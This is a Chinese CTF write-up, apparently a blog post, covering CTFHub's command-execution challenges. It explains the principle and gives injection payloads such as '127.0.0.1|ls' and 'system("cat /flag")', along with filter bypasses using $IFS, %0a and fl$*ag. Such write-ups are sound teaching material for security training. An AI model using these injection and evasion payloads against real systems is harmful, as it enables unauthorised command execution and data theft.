CTFHUB--RCE--命令执行

命令执行

原理:

在编写程序的时候,当碰到要执行系统命令来获取一些信息时,就要调用外部命令的函数,比如php中的exec()、system()等,如果这些函数的参数是由用户所提供的,那么恶意用户就可能通过构造命令拼接来执行额外系统命令。

利用条件:

1.开发人员调用了能够执行系统命令的函数

2.这个函数的参数可控(即用户能够控制)

3.开发人员没有对该函数的参数进行过滤或过滤不严

常见的拼接符

常见Windows命令

常见Linux命令

例题

eval执行

先打开环境,查看他给的代码,url:/?cmd=system(“ls”);

继续查看cmd=system(“ls /”);’


看到flag,读取cmd=system(“cat /flag_13835”);


命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

看到IP,直接ping:127.0.0.1|ls

得到两个文件,ping第一个:127.0.0.1|cat XXXXX.php

没有什么显示,查看源代码得到flag


过滤cat

过滤了cat命令之后,你还有什么方法能读到 Flag?

这儿过滤的cat,用其他的命令查看文件,其余方法不变

使用head命令查看

过滤空格

过滤了空格,用其他符号代替就行(<,<>,%20(space),%09(tab),$IFS$9,{IFS}),其余方法不变,我用<代替

过滤目录分隔符

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

过滤了目录分割符,因此我们不能直接读取,我们可以先ping,再进入文件夹,再列举文件夹的内容

127.0.0.1|ls

127.0.0.1;cd flag_is_here;ls

127.0.0.1;cd flag_is_here;cat XXXXX.php

过滤运算符

过滤了几个运算符, 要怎么绕过呢

||、& 被过滤,不能使用,但并不是所有的运算符都被过滤,使用选取其他运算符就行我使用的是;

综合过滤练习

同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

运算符、cat、flag、目录分割符都被过滤了,|用%0a代替

Url:?/127.0.0.1%0als

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_36062524228722.php

  • 7
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值